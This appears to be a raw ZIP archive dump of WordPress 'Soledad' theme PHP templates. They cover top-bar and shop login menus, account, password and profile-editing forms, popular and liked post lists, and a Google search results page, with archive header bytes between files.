	if( ! get_theme_mod( 'penci_top_bar_hide_social' ) ){
		get_template_part( 'inc/modules/socials' );
	}
	if( get_theme_mod( 'penci_tblogin' ) == 'right' ){
		get_template_part( 'inc/templates/topbar_login' );
	}
	?>
</div>PK     N\iՂo  o  "  inc/templates/account_password.phpnu [        <?php if ( isset( $_POST['success-message'] ) ) : ?>
	<div class="alert-success alert alert-dismissible fade in"
		role="alert"><?php echo esc_html( $_POST['success-message'] ); ?></div>
<?php endif ?>

<?php if ( isset( $_POST['error-message'] ) ) : ?>
	<div class="alert-error alert alert-dismissible fade in"
		role="alert"><?php esc_html_e( $_POST['error-message'] ); ?></div>
<?php endif ?>

<form method="post" action="">
	<div class="row clearfix">
		<!-- old password -->
		<div class="pccol_2 old_password-field">
			<div class="form-group">
				<label for="old_password"><?php echo penci_get_setting( 'penci_trans_oldpassword' ); ?> <span
							class="required">*</span></label>
				<input id="old_password" name="old_password" type="password" class="form-control" value="">
			</div>
		</div>
	</div>
	<div class="row clearfix">
		<!-- new password -->
		<div class="pccol_2 new_password-field">
			<div class="form-group">
				<label for="new_password"><?php echo penci_get_setting( 'penci_trans_newpassword' ); ?></label> <span
						class="required">*</span></label>
				<input id="new_password" name="new_password" type="password" class="form-control" value="">
			</div>
		</div>
	</div>
	<div class="row clearfix">
		<!-- confirm password -->
		<div class="pccol_2 confirm_password-field">
			<div class="form-group">
				<label for="confirm_password"><?php echo penci_get_setting( 'penci_trans_cpassword' ); ?></label>
				<span
						class="required">*</span></label>
				<input id="confirm_password" name="confirm_password" type="password" class="form-control" value="">
			</div>
		</div>
	</div>
	<div class="row clearfix">
		<!-- submit -->
		<div class="pccol_1">
			<div class="form-group">
				<input type="hidden" name="penci-action" value="change-password"/>
				<input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>"/>
				<input type="hidden" name="penci-account-nonce"
						value="<?php echo esc_attr( wp_create_nonce( 'penci-account-nonce' ) ); ?>"/>
				<input type="submit" value="<?php echo penci_get_setting( 'penci_trans_change_password' ); ?>"/>
			</div>
		</div>
	</div>
</form>
PK     N\w_      inc/templates/shop_login.phpnu [        <?php
echo '<ul class="pcshop-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$myaccount_page_url = get_edit_profile_url();
	$myaccount_page_id  = get_option( 'woocommerce_myaccount_page_id' );
	if ( $myaccount_page_id ) {
		$myaccount_page_url = get_permalink( $myaccount_page_id );
	}

	$logged_in_array['profile'] = array(
		'icon' => 'far fa-user-circle',
		'link' => $myaccount_page_url,
		'text' => penci_get_setting( 'penci_trans_profile_text' ),
	);

	$logged_in_array['logout'] = array(
		'icon' => 'fas fa-sign-out-alt',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();

	$link_login = get_author_posts_url( $current_user->ID );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}

	$avatar_html = get_avatar( $current_user->user_email, '30' );
	if ( function_exists( 'get_wp_user_avatar' ) ) {
		$avatar_html = get_wp_user_avatar( $current_user->ID, '30' );
	}

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$login_text = __( '<span>Login</span><span>Sign Up</span>', 'soledad' );
	$login_text = penci_get_setting( 'penci_tblogin_text' ) ? penci_get_setting( 'penci_tblogin_text' ) : $login_text;

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . '<span>' . wp_kses( $login_text, array( 'span' => array() ) ) . '</span></a></li>';
}

echo '</ul>';
PK     N\BKA+  +    inc/templates/topbar_text.phpnu [        <?php if( penci_get_setting( 'penci_tb_date_text' ) ){
$custom_text = penci_get_setting( 'penci_tb_date_text' );
?>
<div class="pctopbar-item penci-topbar-ctext">
	<?php 
	$tex = do_shortcode( $custom_text ); 
	$tex = str_replace('</span> ', '</span>&nbsp;', $tex);
	echo $tex;
	?>
</div>
<?php } ?>PK     N\ڔ      inc/templates/topbar_login.phpnu [        <?php
echo '<ul class="pctopbar-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) && ! get_theme_mod( 'penci_disable_user_profiles' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$parent_slug = get_theme_mod( 'penci_frontend_submit_account_slug', 'account' );

	if ( ! get_theme_mod( 'penci_disable_user_profiles' ) ) {

		$logged_in_array['profile'] = array(
			'icon' => 'far fa-user-circle',
			'link' => esc_url( home_url( '/' ) . $parent_slug . '/' . get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ) ),
			'text' => penci_get_setting( 'penci_trans_profile_text' ),
		);
	}

	$logged_in_array = apply_filters( 'penci_logged_in_items', $logged_in_array );

	$logged_in_array['logout'] = array(
		'icon' => 'fas fa-sign-out-alt',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();

	$link_login = get_author_posts_url( $current_user->ID );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}

	$avatar_html = get_avatar( get_current_user_id(), '22' );

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$custom_text = '';
	if ( penci_get_setting( 'penci_tblogin_text' ) ) {
		$custom_text = '<span>' . penci_get_setting( 'penci_tblogin_text' ) . '</span>';
	}

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . $custom_text . '</a></li>';
}

echo '</ul>';PK     N\2    !  inc/templates/topbar_topposts.phpnu [        <div class="pctopbar-item penci-topbar-trending">
	<?php if ( penci_get_setting( 'penci_top_bar_custom_text' ) ) {
		$toptext_style = get_theme_mod( 'penci_top_bar_custom_style' ) ? get_theme_mod( 'penci_top_bar_custom_style' ) : 'nticker-style-1';
		?>
        <span class="headline-title <?php echo $toptext_style; ?>"><?php echo penci_get_setting( 'penci_top_bar_custom_text' ); ?></span>
	<?php } ?>
	<?php
	/**
	 * Display headline slider
	 */
	$number_posts = get_theme_mod( 'penci_top_bar_posts_per_page' ) ? get_theme_mod( 'penci_top_bar_posts_per_page' ) : 10;
	$topbar_cat   = get_theme_mod( 'penci_top_bar_category' );
	$topbar_sort  = get_theme_mod( 'penci_top_bar_display_by' );
	$title_length = get_theme_mod( 'penci_top_bar_title_length' ) ? get_theme_mod( 'penci_top_bar_title_length' ) : 8;

	$args = array(
		'post_type'      => 'post',
		'posts_per_page' => $number_posts
	);

	if ( ! get_theme_mod( 'penci_top_bar_tags' ) || get_theme_mod( 'penci_top_bar_filter_by' ) != 'tags' ) {
		if ( $topbar_cat ):
			$args['cat'] = $topbar_cat;
		endif;
	} elseif ( get_theme_mod( 'penci_top_bar_tags' ) && get_theme_mod( 'penci_top_bar_filter_by' ) == 'tags' ) {
		$list_tag          = get_theme_mod( 'penci_top_bar_tags' );
		$list_tag_trim     = str_replace( ' ', '', $list_tag );
		$list_tags         = explode( ',', $list_tag_trim );
		$args['tax_query'] = array(
			array(
				'taxonomy' => 'post_tag',
				'field'    => 'slug',
				'terms'    => $list_tags
			),
		);
	}

	if ( $topbar_sort == 'all' ) {
		$args['meta_key'] = penci_get_postviews_key();
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	} elseif ( $topbar_sort == 'week' ) {
		$args['meta_key'] = 'penci_post_week_views_count';
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	} elseif ( $topbar_sort == 'month' ) {
		$args['meta_key'] = 'penci_post_month_views_count';
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	} elseif ( $topbar_sort == 'month' ) {
		$args['meta_key'] = '_jetpack_post_view';
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	}

	$news = new WP_Query( $args );
	if ( $news->have_posts() ):
		$auto_play = 'true';
		if ( get_theme_mod( 'penci_top_bar_posts_autoplay' ) ): $auto_play = 'false'; endif;
		$auto_time  = get_theme_mod( 'penci_top_bar_auto_time' );
		$auto_speed = get_theme_mod( 'penci_top_bar_auto_speed' );
		$auto_time  = ( is_numeric( $auto_time ) && $auto_time > 0 ) ? $auto_time : '3000';
		$auto_speed = ( is_numeric( $auto_speed ) && $auto_speed > 0 ) ? $auto_speed : '200';
		$animation  = get_theme_mod( 'penci_top_bar_animation' ) ? get_theme_mod( 'penci_top_bar_animation' ) : 'slideInUp';
		$main_class = $animation == 'marquee' ? 'no-df pcmarquee-slider' : 'pcdfswiper';
		if ( $animation != 'marquee' ) :
			?>
            <span class="penci-trending-nav">
			<a class="penci-slider-prev" href="#"
               aria-label="Previous"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
			<a class="penci-slider-next" href="#"
               aria-label="Next"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
		</span>
		<?php
		else:
			wp_enqueue_script( 'penci-marquee' );
		endif; ?>
        <div class="<?php echo $main_class; ?> swiper penci-owl-carousel penci-owl-carousel-slider penci-headline-posts"
             data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
             data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
            <div class="swiper-wrapper">
				<?php while ( $news->have_posts() ): $news->the_post();
					$title_full = get_the_title();
					?>
                    <div class="swiper-slide">
                        <a class="penci-topbar-post-title"
                           href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                    </div>
				<?php endwhile;
				wp_reset_postdata(); ?>
            </div>
        </div>
	<?php endif; /* End check if no posts */ ?>
</div>PK     N\C	  	    inc/templates/popular_posts.phpnu [        <?php
extract( $args );
$page_num      = isset( $paged ) && $paged ? $paged : 1;
$column_format = isset( $columns ) && $columns ? 'columns-format col-' . $columns : 'normal-format';
$class         .= isset( $mcolumns ) && $mcolumns ? ' m-col-' . $mcolumns : '';
$class         .= isset( $tcolumns ) && $tcolumns ? ' t-col-' . $tcolumns : '';
$class         .= ' ' . $column_format;
?>
<ul <?php echo $data_attr; ?> class="popularpost_list <?php echo esc_attr( $class ); ?>"
                              id="<?php echo esc_attr( $id ); ?>">
	<?php
	$count         = 1;
	$post_per_page = $loop->query['posts_per_page'];
	while ( $loop->have_posts() ) : $loop->the_post();
		$count_class  = $count == 1 && $column_format == 'normal-format' ? ' first' : '';
		$count_number = $page_num > 1 ? $count + ( $post_per_page * ( $page_num - 1 ) ) : $count;
		?>
        <li class="popularpost_item<?php echo esc_attr( $count_class ); ?>">
			<?php if ( $count == 1 && $column_format == 'normal-format' ): ?>
                <div class="pcpopular_new_thumb">
                    <div class="thumbnail-container">
                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
							<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                        </a>
                    </div>
                </div>
			<?php endif; ?>
            <h3 class="pcpopular_new_post_title"><a
                        href="<?php the_permalink(); ?>"
                        data-num="<?php echo $count_number; ?>">
					<?php
					if ( ! $title_length || ! is_numeric( $title_length ) ) {
						the_title();
					} else {
						echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
					}
					?>

                </a></h3>
            <div class="popularpost_meta">
				<?php if ( $showauthor ): ?>
                    <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                class="url fn n"
                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
				<?php endif; ?>
				<?php if ( ! $postdate ): ?>
                    <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( $showcomment ): ?>
                    <span class="side-item-meta side-wcomments"><a
                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php if ( $showviews ): ?>
                    <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_extra_meta' ); ?>
            </div>
        </li>
		<?php
		$count ++;
	endwhile;
	wp_reset_postdata(); ?>
</ul>PK     N\U=	  	    inc/templates/account.phpnu [        <?php
add_filter( 'theme_mod_penci_featured_slider', '__return_false' );
$user_id      = get_current_user_id();
$account      = PenciUserProfile::getInstance();
$endpoint     = $account->get_endpoint();
$current_page = $account->get_current_page();
unset( $endpoint['editor'] );
get_header(); ?>
	<div class="container container-single-page container-default-page">
		<div id="main" class="penci-main-single-page-default">
			<div class="pcac_page_container">
				<div class="pcac_page_left">
					<div class="pcac_author_info">
						<?php echo get_avatar( get_current_user_id(), '128', '', get_the_author_meta( 'display_name' ), array( 'class' => 'img-rounded' ) ); ?>
						<div class="pcac_author_content">
							<h3 class="pcac_author_name">
								<?php echo esc_html( get_the_author_meta( 'display_name', $user_id ) ); ?>
							</h3>
							<span class="pcac_author_roles">
								<?php echo esc_html( get_the_author_meta( 'email', $user_id ) ); ?>
							</span>
						</div>
						<div class="pcac_account_nav">
							<ul>
								<?php
								foreach ( array_slice( $endpoint, 1 ) as $item ) :
									$class = $current_page == $item['slug'] ? 'penci-nav-user-item active' : 'penci-nav-user-item';
									?>
									<li class="<?php echo esc_attr( $class ); ?>">
										<a href="<?php echo esc_url( penci_home_url_multilang( $endpoint['account']['slug'] . '/' . $item['slug'] ) ); ?>"><?php _e( $item['title'], 'soledad' ); ?></a>
									</li>
								<?php endforeach ?>
							</ul>
							<?php
							if ( has_nav_menu( 'user-menu' ) ) {
								wp_nav_menu(
									array(
										'theme_location' => 'user-menu',
										'container'      => '',
									)
								);
							}
							?>
						</div>
						<?php do_action( 'penci_after_account_nav' ); ?>
					</div>
				</div>
				<div class="pcac_page_right">
					<h1 class="pcac_account_title"><?php do_action( 'penci_account_right_title' ); ?></h1>
					<?php do_action( 'penci_account_main_content' ); ?>
				</div>
			</div>
		</div>
	</div>
<?php
get_footer(); ?>
PK     N\ֵ!    &  inc/templates/google_search_result.phpnu [        <?php
/**
 * This template will display google search result page
 *
 * @package Wordpress
 * @since 1.0
 */

get_header();

/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();

$show_sidebar = false;
if ( ( penci_get_setting( 'penci_sidebar_archive' ) ) ) {
	$show_sidebar = true;
} else {
	/* Use $template to detect sidebar for category - use this value for load correct sidebar in content templates */
	$template = 'no-sidebar';
}

$title_acls = 'pcatitle-' . get_theme_mod('penci_archive_titlealign', 'default');

$archive_desc_align = get_theme_mod( 'penci_archive_descalign', '' );
if ( $archive_desc_align ) {
	$archive_desc_align = ' pcdesc-' . $archive_desc_align;
}

/* Categories layout */
$layout_this = get_theme_mod( 'penci_archive_layout' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;

$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
$two_sidebar_class = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
?>

<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb<?php echo $two_sidebar_class; ?>">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
            <span><?php echo penci_get_setting( 'penci_trans_search' ); ?></span>
        </div>
	<?php } ?>
<?php endif; ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( $show_sidebar ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
				<?php
				$yoast_breadcrumb = $rm_breadcrumb = '';
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
				}

				if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
					$rm_breadcrumb = rank_math_get_breadcrumbs( [
						'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
						'wrap_after'  => '</nav></div>',
					] );
				}

				if ( $rm_breadcrumb ) {
					echo $rm_breadcrumb;
				} elseif ( $yoast_breadcrumb ) {
					echo $yoast_breadcrumb;
				} else { ?>
                    <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                           <span><a class="crumb"
                                    href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                        <span><?php echo penci_get_setting( 'penci_trans_search' ); ?></span>
                    </div>
				<?php } ?>
			<?php endif; ?>

            <div class="archive-box">
                <div class="title-bar <?php echo $title_acls;?>">
                    <span><?php echo penci_get_setting( 'penci_trans_search_results_for' ); ?></span>
                    <h1><?php printf( esc_html__( '"%s"', 'soledad' ), get_search_query() ); ?></h1>
                </div>
            </div>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_above' ); ?>

			<?php
			if ( get_theme_mod( 'penci_gsr_searchform' ) ) {
				$gcse_code = 'search';
			} else {
				$gcse_code = 'searchresults-only';
			}

			$content = '<div class="penci_gsr_wrapper" id="penci_gsr_wrapper_id">';

			$content .= '<div class="gcse-' . $gcse_code . '" data-linktarget="' . get_theme_mod( 'penci_gsr_target', '_self' ) . '"></div>';

			$content .= '</div>';

			echo $content;
			?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_below' ); ?>

        </div>
    </div>

	<?php
	if ( $show_sidebar ) {
		get_sidebar();

		$category_layout_sidebar = get_theme_mod( 'penci_two_sidebar_archive' );

		if ( 'two' == $category_layout_sidebar ) {
			get_sidebar( 'left' );
		}
	}
	?>
</div>
<?php get_footer(); ?>
PK     N\ڏ/  /    inc/templates/like_posts.phpnu [        <?php
$all_points   = \PenciUserProfile::getInstance();
$endpoints    = $all_points->get_endpoint();
$account_slug = $endpoints['account']['slug'];
$posts_slug   = $endpoints['like_posts']['slug'];
$post_like    = get_user_option( '_liked_posts', get_current_user_id() );
$post_like    = is_array( $post_like ) ? array_values( $post_like ) : [];
$order        = isset( $_GET['order'] ) ? sanitize_text_field( $_GET['order'] ) : 'desc';
$args         = array(
	'post_type'           => 'post',
	'post__in'            => $post_like,
	'orderby'             => 'date',
	'order'               => $order,
	'posts_per_page'      => - 1,
	'post_status'         => 'any',
	'ignore_sticky_posts' => 1,
);
$posts        = new WP_Query( $args );

if ( $posts->have_posts() && ! empty( $post_like ) ) {

	$total_post = $lpost = $posts->found_posts;

	?>

    <div class="penci_account_posts">
        <div class="penci_post_list_meta">
            <div class="penci_post_list_count">
                <span><?php echo sprintf( str_replace( '{{value}}', '%s', penci_get_setting( 'penci_trans_showing_result' ) ), 1, $lpost, $total_post ) ?></span>
            </div>
            <div class="penci_post_list_filter">
                <input type="hidden" name="current-page-url"
                       value="<?php echo esc_url( penci_home_url_multilang( '/' . $account_slug . '/' . $posts_slug ) ); ?>">
                <select name="post-list-filter">
                    <option <?php echo ( $order === 'desc' ) ? esc_attr( 'selected' ) : ''; ?>
                            value="desc"><?php echo penci_get_setting( 'penci_trans_sort_latest' ); ?></option>
                    <option <?php echo ( $order === 'asc' ) ? esc_attr( 'selected' ) : ''; ?>
                            value="asc"><?php echo penci_get_setting( 'penci_trans_sort_older' ); ?></option>
                </select>
            </div>
        </div>
        <div class="penci-smalllist">
            <div class="pcsl-inner penci-clearfix pcsl-grid pcsl-imgpos-left pcsl-col-1 pcsl-tabcol-2 pcsl-mobcol-1">
				<?php

				while ( $posts->have_posts() ) :
					$posts->the_post();

					$post_id     = get_the_ID();
					$post_status = get_post_status_object( get_post_status( $post_id ) )->label;

					?>
                    <article <?php post_class( 'pcsl-item' ); ?>>
                        <div class="pcsl-itemin">
                            <div class="pcsl-iteminer">
                                <div class="pcsl-thumb">
                                    <a href="<?php the_permalink(); ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       class="penci-image-holder">
										<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), get_the_title() ); ?>
                                    </a>
                                </div>
                                <div class="pcsl-content">
                                    <div class="cat pcsl-cat">
										<?php penci_category(); ?>
                                    </div>
                                    <div class="pcsl-title">
                                        <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                    </div>
                                    <div class="grid-post-box-meta pcsl-meta">
                                         <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                         penci_coauthors_posts_links();
	                                         else: ?>
                                                 <a class="author-url url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                         <?php endif; ?>
													</span>
                                        <span class="sl-date"><?php penci_soledad_time_link(); ?></span>
                                        <?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </article>
				<?php
				endwhile;

				?>
            </div>
        </div>
    </div>

	<?php


} else {
	echo "<div class='penci_empty_module'>" . penci_get_setting( 'penci_trans_no_content' ) . "</div>";
}

wp_reset_postdata();
?>PK     N\D{      inc/templates/edit_account.phpnu [        <?php
$current_user = wp_get_current_user();
$user_id      = $current_user->ID;
$profileuser  = get_userdata( $user_id );
extract( $args );
?>

<?php if ( isset( $_POST['success-message'] ) ) : ?>
    <div class="alert-success alert alert-dismissible fade in"
         role="alert"><?php echo esc_html( $_POST['success-message'] ); ?></div>
<?php endif ?>

<?php if ( isset( $_POST['error-message'] ) ) : ?>
    <div class="alert-error alert alert-dismissible fade in"
         role="alert"><?php esc_html_e( $_POST['error-message'] ); ?></div>
<?php endif ?>

<form method="post" action="">
    <div class="row clearfix">
        <!-- first name -->
        <div class="pccol_2 fname-field">
            <div class="form-group">
                <label for="fname"><?php echo penci_get_setting( 'penci_pregister_first_name' ); ?> <span
                            class="required">*</span></label>
                <input id="fname" name="fname"
                       placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"
                       type="text" class="form-control"
                       value="<?php echo isset( $user_firstname ) ? esc_attr( $user_firstname ) : ''; ?>">
            </div>
        </div>

        <!-- last name -->
        <div class="pccol_2 lname-field">
            <div class="form-group">
                <label for="lname"><?php echo penci_get_setting( 'penci_pregister_last_name' ); ?></label>
                <input id="lname" name="lname"
                       placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"
                       type="text" class="form-control"
                       value="<?php echo isset( $user_lastname ) ? esc_attr( $user_lastname ) : ''; ?>">
            </div>
        </div>

        <!-- display name -->
        <div class="pccol_2 dname-field">
            <div class="form-group">
                <label for="dname"><?php echo penci_get_setting( 'penci_pregister_display_name' ); ?></label>
                <select name="dname" id="dname">
					<?php
					$public_display                     = array();
					$public_display['display_nickname'] = $profileuser->nickname;
					$public_display['display_username'] = $profileuser->user_login;

					if ( ! empty( $profileuser->first_name ) ) {
						$public_display['display_firstname'] = $profileuser->first_name;
					}

					if ( ! empty( $profileuser->last_name ) ) {
						$public_display['display_lastname'] = $profileuser->last_name;
					}

					if ( ! empty( $profileuser->first_name ) && ! empty( $profileuser->last_name ) ) {
						$public_display['display_firstlast'] = $profileuser->first_name . ' ' . $profileuser->last_name;
						$public_display['display_lastfirst'] = $profileuser->last_name . ' ' . $profileuser->first_name;
					}

					if ( ! in_array( $profileuser->display_name, $public_display, true ) ) { // Only add this if it isn't duplicated elsewhere.
						$public_display = array( 'display_displayname' => $profileuser->display_name ) + $public_display;
					}

					$public_display = array_map( 'trim', $public_display );
					$public_display = array_unique( $public_display );

					foreach ( $public_display as $id => $item ) {
						?>
                        <option <?php selected( $profileuser->display_name, $item ); ?>><?php echo $item; ?></option>
						<?php
					}
					?>
                </select>
            </div>
        </div>

		<?php
		do_action( 'penci_insert_after_display_name', $user_id );
		?>

        <!-- social -->
        <div class="pccol_1 social-label">
            <h3 class="clearfix"><?php echo penci_get_setting( 'penci_pregister_cinfo' ); ?></h3>
        </div>

		<?php foreach ( $socials as $key => $value ): ?>
            <div class="pccol_2 <?php echo esc_attr( $key ); ?>-field">
                <div class="form-group">
                    <label for="<?php echo esc_attr( $key ); ?>"><?php echo esc_html( $value['label'] ); ?></label>
                    <input id="<?php echo esc_attr( $key ); ?>" name="<?php echo esc_attr( $key ); ?>" type="text"
                           class="form-control"
                           value="<?php echo isset( $value['value'] ) ? esc_attr( $value['value'] ) : ''; ?>">
                </div>
            </div>
		<?php endforeach ?>

        <!-- description -->
        <div class="pccol_1 description-label">
            <h3 class="clearfix"><?php echo penci_get_setting( 'penci_pregister_about' ); ?></h3>
        </div>

        <div class="pccol_1 description-field">
            <div class="form-group">
                <label for="description"><?php echo penci_get_setting( 'penci_pregister_binfo' ); ?></label>
				<?php
				wp_editor( $description, 'description', array(
					'textarea_name'    => 'description',
					'drag_drop_upload' => false,
					'media_buttons'    => false,
					'textarea_rows'    => 10,
					'teeny'            => true,
					'quicktags'        => false
				) );
				?>
            </div>
        </div>

        <!-- profile picture -->
        <div class="pccol_1 photo-field">
            <div class="form-group">
                <label for="photo"><?php echo penci_get_setting( 'penci_pregister_picture' ); ?></label>
                <div class="form-input-wrapper">
					<?php
					load_template( plugin_dir_path( __DIR__ ) . 'templates/upload_form.php', true, array(
						'id'      => 'photo',
						'class'   => '',
						'name'    => 'photo',
						'source'  => isset( $photo ) ? $photo : '',
						'button'  => 'btn-single-image',
						'multi'   => false,
						'maxsize' => apply_filters( 'penci_maxsize_upload_profile_picture', '2mb' )
					) );
					?>
                </div>
            </div>
        </div>

        <!-- submit -->
        <div class="pccol_1 submit-field">
            <div class="form-group">

				<?php if ( ! apply_filters( 'penci_account_disable_edit_account', false ) ): ?>
                    <input type="hidden" name="penci-action" value="edit-account"/>
                    <input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>"/>
                    <input type="hidden" name="penci-account-nonce"
                           value="<?php echo esc_attr( wp_create_nonce( 'penci-account-nonce' ) ); ?>"/>
                    <input type="submit"
                           value="<?php echo penci_get_setting( 'penci_trans_edit_account' ); ?>"/>
				<?php else: ?>
					<?php echo apply_filters( 'penci_account_disable_edit_account_msg', '' ); ?>
				<?php endif ?>

            </div>
        </div>

    </div>
</form>
PK     N\s      inc/templates/about_author.phpnu [        <?php
/**
 * Display detail author of current post
 * Use in single post
 *
 * @since 1.0
 */
$author_ids = array();

if ( is_singular() ) {
	$post_author_id = get_post_field( 'post_author', get_the_ID() );
	if ( $post_author_id ) {
		$author_ids[] = $post_author_id;
